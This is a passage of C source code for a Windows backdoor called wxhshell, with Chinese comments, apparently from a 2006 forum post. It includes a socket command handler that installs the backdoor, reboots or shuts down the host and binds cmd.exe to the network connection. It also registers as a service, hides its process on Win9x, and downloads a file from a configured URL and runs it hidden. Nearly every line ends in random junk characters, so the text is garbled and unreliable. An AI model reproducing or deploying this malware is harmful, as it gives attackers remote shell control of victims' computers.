  } }bxx]rDl  
  else { oL 69w1  
bAl0z)p  
    switch(cmd[0]) { 7Yjxx+X9  
  05>xQx?"m4  
  // 帮助 Y><")%Q  
  case '?': { !1M=9 ~$!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9&t!U+  
    break; ;"@FLq(n  
  } bk#t+tuk  
  // 安装 }hjJt,m  
  case 'i': { :/ yR  
    if(Install()) uVBMI.&w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l8_TeO  
    else ^"Nsb&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1q[vNP=g&  
    break; +^6v%z  
    } W%k0_Y/5  
  // 卸载 P=jbr"5Q:  
  case 'r': { U2(|/M+  
    if(Uninstall()) ZdJer6:Z}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?-e'gC  
    else s3LR6Z7;i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =>7\s}QZ  
    break; bC mhlSNi  
    } aF'9&A;q  
  // 显示 wxhshell 所在路径 @$(/6]4p  
  case 'p': { +yYv"J  
    char svExeFile[MAX_PATH]; sa71Vh{  
    strcpy(svExeFile,"\n\r"); &2!F:L  
      strcat(svExeFile,ExeFile); =k(~PB^>  
        send(wsh,svExeFile,strlen(svExeFile),0); W2a9P_  
    break; u/h!i@_w[  
    } jKcnZu  
  // 重启 VK)K#!O8  
  case 'b': { 5_mb+A n,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vKX $Nf  
    if(Boot(REBOOT)) wPl!}HNf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o5N];Nj  
    else { M!s@w%0?'  
    closesocket(wsh); \q8D7/q  
    ExitThread(0);  :_qgpE<  
    } >Tm|}\qEb  
    break; AwKxt'()^  
    } t*? CD.S  
  // 关机 62Ab4!  
  case 'd': { gr/o!NC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Bkn- OG  
    if(Boot(SHUTDOWN)) |x AwiF_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wghz[qe  
    else { h69: Tj!  
    closesocket(wsh); \c! LC4pE  
    ExitThread(0); @lau?@$ja  
    } oj7X9~ nd  
    break; _`JY A  
    } <h/\)bPB  
  // 获取shell oK GFDl]3  
  case 's': { p,=:Ff}~  
    CmdShell(wsh); U/B1/96lJ  
    closesocket(wsh); $rySz7NI  
    ExitThread(0); ^;2dZgJ4^  
    break; <N%8"o  
  } \Mv8pU  
  // 退出 ;n*N9-|.  
  case 'x': { Z:#-4CiP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H>-?/H  
    CloseIt(wsh); {V!Jj6n  
    break; =#i#IF42?  
    } j${:Y$VmE  
  // 离开 -o+_PL $\  
  case 'q': { 6/9h=-w&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); gev7eGH<  
    closesocket(wsh); yT42u|xZA  
    WSACleanup(); W 9Z.X!h  
    exit(1); vO1P%)  
    break; E5lC'@Dcz  
        } #;RP ?s  
  } C61KY7iyR  
  } '"5" $)7  
N1UE u,j  
  // 提示信息  -> -  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gFvFd:"uZ  
} <G59>H5  
  } a$MMp=p  
] t|KFk!)  
  return; FeS6>/  
} -/aDq?<<  
/h0<0b?i  
// shell模块句柄 kRgyvA,*;  
int CmdShell(SOCKET sock) {sy#&m(el  
{ g S;p::  
STARTUPINFO si; u pf7:gk +  
ZeroMemory(&si,sizeof(si)); [?BmW {*u.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2I:vie  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b9(d@2MtK  
PROCESS_INFORMATION ProcessInfo; Y#c11q Z  
char cmdline[]="cmd"; E~zLhJTUL'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); IPcAE!h6zN  
  return 0; PZO7eEt8  
} @ -JD`2z  
q<}5KY  
// 自身启动模式 ^Y xqJy  
int StartFromService(void) ?Z] }G  
{ \1RQ),5 %]  
typedef struct _c%]RE  
{  UJoWTx  
  DWORD ExitStatus; c?d+>5"VX  
  DWORD PebBaseAddress; 4i[3|hv'  
  DWORD AffinityMask; {R[lsdH(X  
  DWORD BasePriority; 0-g,C=L  
  ULONG UniqueProcessId; K+H?,I  
  ULONG InheritedFromUniqueProcessId; Z>a_vC  
}   PROCESS_BASIC_INFORMATION; b]mRn{r?  
DB_ x  
PROCNTQSIP NtQueryInformationProcess; 71Ssk|L  
9U58#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /U)w:B+p/g  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K4xZT+Qb  
%yQ-~T@  
  HANDLE             hProcess; *ZGQ`#1.X6  
  PROCESS_BASIC_INFORMATION pbi; mCtuyGY  
)xP]rOT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~@z5Ld3xz  
  if(NULL == hInst ) return 0; @P"q`*  
)G ,LG0"-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z8k O*LYv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ih`n:aA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bqf=;Nvog  
X8bo?0  
  if (!NtQueryInformationProcess) return 0; ~m uVQ  
V:!fe+ Er  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +:It1`A~]  
  if(!hProcess) return 0; +F 6KGK[  
6%ID*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; uGLVY%N  
HqOSQ<-Fo  
  CloseHandle(hProcess); *ARro Ndr  
U*k$pp6\b~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); nAd 4g|  
if(hProcess==NULL) return 0; 7G%`ziZ  
xzMa[D4(  
HMODULE hMod; `X^ 4~6/q  
char procName[255]; [fR<#1Z  
unsigned long cbNeeded; yN~=3b>  
"6pjkEt4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;pb~Zk/[,w  
8.jd'yp*J  
  CloseHandle(hProcess); V* fDvr0  
pa+^5N  
if(strstr(procName,"services")) return 1; // 以服务启动 h+.^8fPR   
V85a{OBm,8  
  return 0; // 注册表启动 C(iA G  
} Li Qs;$V  
IwFg1\>  
// 主模块 ,X\z#B  
int StartWxhshell(LPSTR lpCmdLine) J;"XRE[%5  
{ gNs@Q !  
  SOCKET wsl; 1 EC0wX  
BOOL val=TRUE; FL/y{;  
  int port=0; )l30~5u<J  
  struct sockaddr_in door; #JuO  
'L3 \I  
  if(wscfg.ws_autoins) Install(); q97Dn[>3  
+#Ov9b  
port=atoi(lpCmdLine); )_.@M '?  
h{<^?=  
if(port<=0) port=wscfg.ws_port; |EU}&k2  
0<v~J9i  
  WSADATA data; )zUV6U7v  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S3qUzK  
"VcGr#zW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   r7ywK9UL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C _[jQTr  
  door.sin_family = AF_INET; ,*S?L qv^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3tIIBOwg[  
  door.sin_port = htons(port); 1oX"}YY1  
~Zaxn~u:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sur2Mw(M"  
closesocket(wsl); rM bb%d:  
return 1; |[o2S90  
} r*+9<8-ZX<  
&% M^:WT  
  if(listen(wsl,2) == INVALID_SOCKET) { 0U`Ic_.  
closesocket(wsl); Jz%&-e3  
return 1; B}P,sFghw  
} eX_}KH-Q  
  Wxhshell(wsl); tinN$o Xy  
  WSACleanup(); =/dW5qy;*+  
gdCU1D\  
return 0; {_[l,tdZ  
&,$A7:  
} g s'bv#4yd  
M"p$9t  
// 以NT服务方式启动 OIewG5O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z+-k4  
{ Z[({; WtF  
DWORD   status = 0; 7)_0jp~2  
  DWORD   specificError = 0xfffffff; }E/L:  
e@8I%%V,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; },i?3dSvl  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; te:"1:e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D;d;:WT5  
  serviceStatus.dwWin32ExitCode     = 0; wau81rSd  
  serviceStatus.dwServiceSpecificExitCode = 0; 79x^zqLb  
  serviceStatus.dwCheckPoint       = 0; *^.b}K%  
  serviceStatus.dwWaitHint       = 0; -BoN}xE4  
mH8s'F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &|{K*pNa  
  if (hServiceStatusHandle==0) return;  6f1;4Jfp  
*ZaK+ B  
status = GetLastError(); g_n=vO('X  
  if (status!=NO_ERROR) OvK_CN{  
{ t1ZZru'r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; bjQfZT(  
    serviceStatus.dwCheckPoint       = 0; 89 fT?tT  
    serviceStatus.dwWaitHint       = 0; ]L &_R^  
    serviceStatus.dwWin32ExitCode     = status; *Z/B\nb  
    serviceStatus.dwServiceSpecificExitCode = specificError; " *Ni/p$I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9m6w.:S  
    return; /pb7  
  } #Wc)wL-Tg  
bJBx~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5utj$ha2  
  serviceStatus.dwCheckPoint       = 0; ^`dp!1.+  
  serviceStatus.dwWaitHint       = 0; '!f5|l9SC  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1.>sG2*P  
} YKM(qh2  
Xq)'p8C?  
// 处理NT服务事件,比如:启动、停止 >nr1|2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {g )kT_  
{ Vq<|DM3z<  
switch(fdwControl) 0q`'65 lx  
{ 2RE }l=h5  
case SERVICE_CONTROL_STOP: BAKfs/N  
  serviceStatus.dwWin32ExitCode = 0; qx!IlO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &12aI |u^<  
  serviceStatus.dwCheckPoint   = 0; l0@$]76cX;  
  serviceStatus.dwWaitHint     = 0; y|lP.N/  
  { R jAeN#,?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dR=SW0Oa{  
  } ,bH  
  return; | c8u  
case SERVICE_CONTROL_PAUSE: CyXcA;H,.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Wq>j;\3b3  
  break; mU\$piei  
case SERVICE_CONTROL_CONTINUE: r%B5@+{so  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xMuy[)b  
  break; ]}5j X^j  
case SERVICE_CONTROL_INTERROGATE: b?y1cxTT  
  break; {'}Ofj   
}; :YV!;dKJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m=}kGzIY4  
} @wa/p`gj5w  
km|~DkJ\a`  
// 标准应用程序主函数 NKI&n]EO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c2F`S1Nu<  
{ P)}:lTe  
mGY 74>/  
// 获取操作系统版本 { aB_t%`w  
OsIsNt=GetOsVer(); (sl]%RjGa  
GetModuleFileName(NULL,ExeFile,MAX_PATH); iu1iO;q  
"thu@~aC  
  // 从命令行安装 /aPq9B@  
  if(strpbrk(lpCmdLine,"iI")) Install(); `/|=eQ")o@  
bC@b9opD  
  // 下载执行文件 |w>DZG!}1-  
if(wscfg.ws_downexe) { YWdlE7 y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (PB|.`_<H  
  WinExec(wscfg.ws_filenam,SW_HIDE); <QJmdcG  
} )8N/t6Q  
je{5iIr3/  
if(!OsIsNt) { #pVk%5N  
// 如果时win9x,隐藏进程并且设置为注册表启动 |6;.C1\,  
HideProc(); |mM7P^I  
StartWxhshell(lpCmdLine); h\ ybh  
} hZJ Nh,,w  
else /3c1{%B\  
  if(StartFromService()) ^#Z(&/5f0  
  // 以服务方式启动 IM@Qe|5  
  StartServiceCtrlDispatcher(DispatchTable); ! TRiFD  
else % -SP  
  // 普通方式启动 ~&q e"0  
  StartWxhshell(lpCmdLine); I7Eg$J&  
M1g|m|H7  
return 0; --/  .  
}
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只看该作者 1 发表于: 2006-10-10
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